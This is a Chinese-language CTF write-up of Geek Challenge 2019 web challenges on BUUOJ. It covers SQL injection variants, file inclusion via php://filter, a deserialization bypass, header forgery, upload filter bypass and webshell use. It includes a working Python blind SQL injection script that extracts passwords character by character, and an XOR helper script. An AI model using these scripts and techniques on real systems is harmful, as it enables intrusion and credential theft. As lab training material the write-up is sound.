[極客大挑戰 2019]EasySQL
用1’ 測試發現存在字符型注入
首先嘗試構造用萬用密碼登錄
得到flag
[極客大挑戰 2019]LoveSQL
居然和 [極客大挑戰 2019]EasySQL 一樣,用萬用密碼進去了
拿到 admin 和 password
不過沒用
重新,簡單測試后發現是字符型注入
Order by 測字段
(其他略)數據
[極客大挑戰 2019]BabySQL
先用萬用,發現不行,常規注入也發現不行,后來看了網上得wp才知道有雙寫注入
在常規注入基礎上對關鍵字符雙寫
庫
(其他略)數據
[極客大挑戰 2019]HardSQL
上面的方法都不行,但是可以報錯注入
庫
數值(字段拼接)
[極客大挑戰 2019]FinalSQL
看提示是盲注的題目,但是不知道注入點,網上看了wp才知道id是注入點,而且 ^ 沒被過濾
然后自己嘗試了一下盲注,發現不會,於是看看網上的注入方法
發現還是搞不起來,腳本又不會寫,於是看看網上的腳本
附上從網上看到的1篇腳本(感覺自己技術還是爛的一批)
import requests import time url = "http://f2240070-b31e-447d-91c5-3c2653b490a9.node3.buuoj.cn/search.php?" temp = {"id" : ""} column = "" for i in range(1,1000): time.sleep(0.06) low = 32 high =128 mid = (low+high)//2 while(low<high): temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid) r = requests.get(url,params=temp) print(low,high,mid,":") if "Click" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break column +=chr(mid) print(column) print("flag=" ,column)
[極客大挑戰 2019]Havefun
進界面沒啥東西就看看源代碼,找到
構造,得到flag
[極客大挑戰 2019]Secret File
看源碼找到/Archive_room.php
點擊響應太快,就換bp抓包
找到secr3t.php
發現文件包含漏洞,采用php://filter(這里 input 和 data 被過濾) 偽協議
Base64解密得flag
[極客大挑戰 2019]PHP
看源碼沒東西,掃,得源碼
看着應該是反序列化
看class.php
如果 username=admin 並且 password=100 輸出flag
構造exp
出錯
重來,__wakeup()需要繞過(當反序列化字符串,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。)
把2改成3
同時截斷username 和 password(防止數據丟失)
[極客大挑戰 2019]Knife
蟻劍連接得flag
[極客大挑戰 2019]Http
看源碼發現 Secret.php
需要bp抓包
偽造網址(referer)
偽造瀏覽器(UA)
偽造本地(X-Forwarded-For)得到 flag
[極客大挑戰 2019]BuyFlag
查看源碼發現
首先password傳輸要是數字字符串但要等於404
這樣可以用 password = 404a 繞過(會把之后的a注釋掉)
Nember太長,從百度了解到老版本PHP不能輸入8位字符,但strcmp可以用 [] 繞過
於是
[極客大挑戰 2019]Upload
看頁面是文件上傳,發現直接傳輸上傳不了,bp截斷並修改Content-Type
不能php就修改成phtml
加個GIF89a
還是不行,那就用<script>
成功上傳蟻劍連接
[極客大挑戰 2019]RCE ME
看源碼
知道要繞過,從網上看到了這個腳本(能異或2個ASCII字符變為新字符)
def r_xor(): for i in range(0,127): for j in range(0,127): result=i^j print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result)) if __name__ == "__main__": r_xor()
發現payload異或不了
我又換了種思路,看到類似的取反,先用網上的payload看看phpinfo
發現可以,於是想采用這種方法
(看到了許多禁用函數)
構造了一個一句話木馬
蟻劍連接
要用到 繞過disable_functions插件